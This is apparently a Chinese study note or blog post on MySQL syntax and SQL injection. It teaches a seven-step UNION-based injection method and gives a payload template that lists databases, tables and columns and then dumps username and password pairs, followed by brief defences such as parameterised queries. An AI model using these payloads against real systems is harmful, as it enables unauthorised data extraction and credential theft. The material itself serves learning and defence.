SQL 前置知识
一、MySQL 基础语法
1. SQL 四大分类
| 分类 | 关键字 | 作用 |
|---|---|---|
| DQL 查询 | SELECT | 查询表中数据 |
| DML 操作 | INSERT / UPDATE / DELETE | 增、改、删表中数据 |
| DDL 定义 | CREATE / ALTER / DROP / TRUNCATE | 创建/修改/删除库和表结构 |
| DCL 控制 | GRANT / REVOKE | 权限授权与回收 |
2. 常用命令
SHOW DATABASES; -- 查看所有数据库
USE 库名; -- 切换当前数据库
SHOW TABLES; -- 查看当前库所有表
DESC 表名; -- 查看表字段结构(等价 SHOW COLUMNS FROM 表名)
3. WHERE 与逻辑运算符
SELECT * FROM users WHERE id=1 AND username='admin';
| 符号 | 含义 |
|---|---|
= != <> | 等于 / 不等于 |
> < >= <= | 大小比较 |
AND | 逻辑与,所有条件同时成立 |
OR | 逻辑或,任意一个条件成立 |
LIKE | 模糊匹配,% 通配任意字符 |
4. ORDER BY 与 LIMIT
SELECT * FROM users ORDER BY id DESC; -- 按 id 降序
SELECT * FROM users LIMIT 1; -- 取前 1 条
SELECT * FROM users LIMIT 1,3; -- 偏移 1,取 3 条
注入常用:
order by n按第 n 列排序,列数不存在则报错,用于猜列数。
5. 注释符(注入关键)
| 写法 | 说明 | 注入场景 |
|---|---|---|
-- | 标准 SQL 注释,-- 后必须带空格 | 优先使用,兼容性最好 |
# | MySQL 特有,无需空格 | 简短,但 URL 中会被浏览器当锚点截断 |
/* 内容 */ | 多行注释 | 可用来绕过空格过滤,如 select/**/*from users |
6. UNION 联合查询
SELECT id,username FROM users UNION SELECT 1,database();
-
前后两条 SELECT 列数必须相同,对应位置数据类型兼容
-
UNION自动去重;UNION ALL不去重,效率更高
7. 常用内置函数
database() -- 当前数据库名
user() -- 当前数据库用户名
version() -- MySQL 版本
@@datadir -- 数据库存储路径
二、SQL 注入基础
1. 本质
后端将用户输入直接拼接进 SQL 语句,未做参数化处理,导致攻击者可构造恶意输入篡改 SQL 逻辑,让数据库执行任意 SQL 命令。
2. 注入点类型
| 类型 | 原始 SQL | 是否需闭合 | 判断 Payload |
|---|---|---|---|
| 数字型 | where id=用户输入 | 不需要引号 | 1 and 1=1 |
| 字符型 | where name='用户输入' | 需先闭合单引号 | ' and 1=1 -- |
速记:数字型无引号直接写;字符型先闭合引号、再写条件、最后注释收尾。
3. 判断注入点
-
输入单引号
'→ 页面报错 = 存在字符型注入 -
输入
and 1=1(正常)vsand 1=2(异常)= 存在布尔型注入
三、information_schema 系统库
MySQL 5.0+ 自带的元数据库,不存业务数据,记录所有库、表、列信息,是注入脱库的核心入口。
三张关键表
| 表名 | 作用 | 核心字段 |
|---|---|---|
schemata | 所有数据库名 | schema_name |
tables | 所有表名 | table_schema(所属库)、table_name |
columns | 所有字段名 | table_schema、table_name、column_name |
对应查询
-- 查所有库名
SELECT schema_name FROM information_schema.schemata;
-- 查指定库的所有表名
SELECT table_name FROM information_schema.tables WHERE table_schema='库名';
-- 查指定表的所有字段名
SELECT column_name FROM information_schema.columns WHERE table_name='表名';
四、Union 联合查询完整流程(7 步法)
第 1 步:判断注入点
输入 ' 或 and 1=1 / and 1=2,确认存在注入及类型。
第 2 步:确定列数
用 order by n 二分法探测:
-
order by 3正常 → 至少 3 列 -
order by 4报错 → 共 3 列
第 3 步:探测显示位
-1' union select 1,2,3 #
-
-1让主查询返回空,使 union 结果显示在页面 -
页面上出现的数字位置即为回显位
第 4 步:获取当前库名
-1' union select 1,database(),3 #
第 5 步:获取表名
-1' union select 1,group_concat(table_name),3
FROM information_schema.tables
WHERE table_schema=database() #
第 6 步:获取字段名
-1' union select 1,group_concat(column_name),3
FROM information_schema.columns
WHERE table_name='目标表名' #
第 7 步:获取数据
-1' union select 1,group_concat(username,0x3a,password),3
FROM 目标表名 #
-
group_concat()将多行合并为一行输出 -
0x3a是冒号:的十六进制,避免引号闭合冲突
五、完整 Payload 模板(字符型)
-- 1. 测注入
'
-- 2. 测列数
' order by 3 #
-- 3. 找显示位
-1' union select 1,2,3 #
-- 4. 查库名
-1' union select 1,database(),3 #
-- 5. 查表名
-1' union select 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database() #
-- 6. 查字段名
-1' union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users' #
-- 7. 查数据
-1' union select 1,group_concat(username,0x3a,password),3 FROM users #
数字型去掉首尾引号即可,例如:
-1 union select 1,database(),3
六、易混考点速记
-
SELECT * FROM 表名→ 查全部字段的数据 -
SHOW COLUMNS FROM 表名→ 查字段结构(列名、类型),不是查数据 -
SHOW TABLES→ 看当前库所有表;SHOW DATABASES→ 看所有库 -
DELETE删数据;DROP删表/库;TRUNCATE清空表数据(保留结构) -
AND同时满足;OR满足其一 -
--必须带空格才是注释;URL 中优先用--而非#
七、防御方案
-
参数化查询(预编译):从根本上杜绝注入,最有效手段
-
输入校验:对用户输入做合法性检查,过滤特殊字符
-
最小权限:数据库账号只授必要权限,禁用 FILE / DROP / ALTER 等高危权限
-
统一报错:不向用户暴露数据库报错详情,防止泄露表结构
-
WAF 防护:拦截常见注入 Payload

1649

被折叠的 条评论
为什么被折叠?



